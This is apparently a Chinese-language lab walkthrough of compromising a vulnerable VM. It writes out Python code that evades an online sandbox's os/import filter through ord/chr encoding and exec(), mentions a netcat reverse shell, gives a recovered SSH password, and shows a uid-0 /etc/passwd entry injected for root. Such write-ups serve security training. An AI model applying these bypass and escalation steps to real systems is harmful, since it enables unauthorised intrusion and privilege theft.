信息搜集
启动靶机。
使用nmap扫描网段地址,发现靶机ip地址以及对应对外开启的端口服务。
web服务探测
使用dirsearch扫描下网站目录,发现一个关键文件robots.txt,打开发现一个无规则字符的文件。
发现一个用户以及密码。
登录成功后,发现一个连接地址。
打开连接后,发现一个在线python执行页面,并且提示,不可以使用os模块,并且有示例文件。
发现执行代码,存在import代码和os以及open函数时,将会被拦截。
line= "import os;os.system('ls -al')"
tmp_str =[]
for c in line:
tmp_str.append(str(ord(c)))
print(tmp_str)
tmp_chr =''
for i in tmp_str:
tmp_chr+=chr(int(i))
print(tmp_chr)
exec(tmp_chr)
a = ord('a')
print(a)
i = chr(a)
print(i)
使用exec()内置函数执行字符代码。将字符转换为数字,并存储到列表中,在运行代码时再将数字转换字符。
其中使用ord()、chr()函数进行数字和字符之间的转换。
发现成功绕过。下一步探测下可用的指令。
发现存在netcat指令。
使用nc指令反弹会话。
会话反弹成功。
使用python -c "import pty;pty.spawn(‘/bin/bash’);"获取交互性会话。
在/home/py目录下发现存在typing可执行文件,以及typing.cc文件,打开typing.cc文件发现typing可执行文件是获取用户密码的文件。
获取密码:54ezhCGaJV
在nmap扫描时,发现22端口时开放的。使用ssh连接py用户。
连接成功。
在/home/py/secret_stuff目录下存在一个备份文件,发现可以使用backup可执行文件对/etc/passwd文件进行修改。
使用openssl生成密码。
admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0:root:/root:/bin/bash
密码为:admin
发现成功写入到/etc/passwd文件中。切换用户为admin.
成功获取root权限。